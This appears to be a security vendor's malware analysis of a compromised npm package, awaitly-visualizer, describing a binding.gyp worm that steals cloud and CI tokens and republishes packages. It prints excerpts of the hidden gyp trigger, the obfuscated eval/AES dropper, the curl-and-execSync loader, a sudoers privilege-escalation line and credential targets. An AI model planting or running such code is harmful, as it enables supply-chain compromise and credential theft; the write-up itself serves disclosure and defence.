awaitly-visualizer: The miasma continues to floweth — a binding.gyp Bun worm

Meme: Emperor Palpatine captioned 'LET THE MIASMA FLOW THROUGH YOU' — a riff on 'let the hate flow through you.' The worm flows the same way: through your install, your cloud tokens, and your own editor, then on to the maintainer's next package.

awaitly-visualizer is a real package — Jag Reehal's Mermaid workflow renderer — wearing a clean bundle over two files that are the entire attack. Nothing in the manifest declares an install hook, yet it runs the moment you install it: the opening move of the Miasma worm's second wave.

Package metadata

Field Value
Name awaitly-visualizer
Version 11.0.1
Description Visualization and rendering for awaitly workflows - Mermaid diagrams, ASCII art, HTML, and more
Author Jag Reehal <jag@jagreehal.com>
License MIT
Main ./dist/index.cjs
Dependencies pako@^2.1.0
Optional dependencies @slack/web-api@^7.13.0
Files ["dist", "README.md"]
Repository git+https://github.com/jagreehal/awaitly.git

Stage 1 — The GYP that builds itself

npm builds any package that ships a binding.gyp with no install script, no questions asked. This one buries its trigger in the gyp sources array. Gyp's <!() form runs a shell and keeps its output, so node-gyp executes the dropper and compiles a stub it pretends is source. The dropper then peels itself: an alphabet rotation feeds eval, which AES-128-GCM-decrypts two blobs.

# binding.gyp — npm auto-runs node-gyp; the command hides in "sources"
"sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]

// index.js — rotate → eval → AES-128-GCM, then unpack two blobs
eval(rot([40,122,114,…].map(c => String.fromCharCode(c)).join(""), 1))   // alphabet shift, 1 here
const _d = (k,i,a,c) => createDecipheriv("aes-128-gcm", …)        // GCM decryptor
const _b = _d("dbe0d7…", …)   // blob 1: 907-byte Bun loader (eval'd)
const _p = _d("20cdcd…", …)   // blob 2: 668 KB worm (run under Bun)
Trait What it caught
objectives/supply-chain/hidden-payload/eval Megabyte single-line eval of a char-code array
objectives/anti-static/obfuscation/encoding/content Encoded Node.js require payload
micro-behaviors/data/encode/caesar String.fromCharCode alphabet rotation
objectives/supply-chain/hidden-payload/runtime Text is over 30% digits — embedded ciphertext

Stage 2 — Brings its own Bun, then seeps out

The blobs are a 907-byte loader and a 668 KB worm, and the loader's one job is to fetch a runtime that isn't yours. It downloads Bun and runs the worm under it, never node, outside whatever is watching the process tree. Run cleave on the decrypted blob and it indicts itself — a self-shuffling stealer that probes cloud metadata, scrapes CI-runner memory, and grabs every token in reach. Then it spreads, republishing the maintainer's packages under forged Sigstore provenance and seeding IDE backdoors so your editor re-runs what your tokens already lost.

// blob 1 (_b) — fetch a runtime the victim never installed
const url = "https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-"+os+"-"+a+".zip"
execSync('curl -sSL "'+url+'" -o "'+zip+'"')
execSync('unzip -j -o "'+zip+'" -d "'+dir+'"')

// blob 2 (_p) → /tmp/p<rand>.js, then run with the fetched Bun, not node
execSync('"'+getBunPath()+'" run "'+t+'"')

cleave, now on the decrypted 668 KB blob:

Trait What it caught
objectives/anti-static/obfuscation/tools/js-obfuscator Advanced array-shuffle self-defense (obfuscator.io)
objectives/exfiltration/http/upload Creates a GitHub repo and uploads to it (auto_init)
objectives/discovery/cloud/metadata AWS IMDSv2 header X-aws-ec2-metadata-token
objectives/credential-access/api-harvest/token npm_[A-Za-z0-9]{36,} token regex
micro-behaviors/os/env/vars/cicd Reads GITHUB_REPOSITORY

Cloud and secret stores in reach, by endpoint:

Target Reached via
AWS IMDS 169.254.169.254, SSM Parameter Store, Secrets Manager, STS
GCP metadata server, service-account tokens, cloudresourcemanager projects
Azure managed identity, login.microsoftonline.com, Key Vault, Graph
HashiCorp Vault 127.0.0.1:8200, /home/runner/.vault-token
npm /-/whoami, token list, OIDC token exchange
GitHub org/repo Actions secrets, Runner.Worker memory
RubyGems /api/v1/api_key.json

The miasma continues to floweth

Strip the costume and it's an ordinary credential stealer; the worm part is the binding.gyp npm runs for free and the provenance it forges so each reinfection looks signed. This sample is one cell of the second wave StepSecurity documented a day earlier — so let the miasma flow through your install, your tokens, and your editor, then floweth on to the maintainer's other packages.

Indicators

Type Value
Tarball SHA-256 e3dcc5f7caf2bfe749f2050c39b1f01654e52d45918204b9b8b1c55bf8908395
index.js SHA-256 d9409a6b1fcfe0ef2ba83aab3ff2a4a14770e659c0209829e8551fd50aa67873
binding.gyp SHA-256 ef641e956f91d501b748085996303c96a64d67f63bfeef0dda175e5aa19cca90
Bun runtime https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-<os>-<arch>.zip
Bun staging dir /tmp/b-<random>/bun
Dropped payload /tmp/p<random>.js
Privilege-escalation line echo 'runner ALL=(ALL) NOPASSWD:ALL' > /mnt/runner
Republished artifact package-updated.tgz
Exfil artifact results/results-<timestamp>.json
IDE backdoors injected .claude/setup.mjs, .cursor/rules/setup.mdc, .vscode/tasks.json

← All discoveries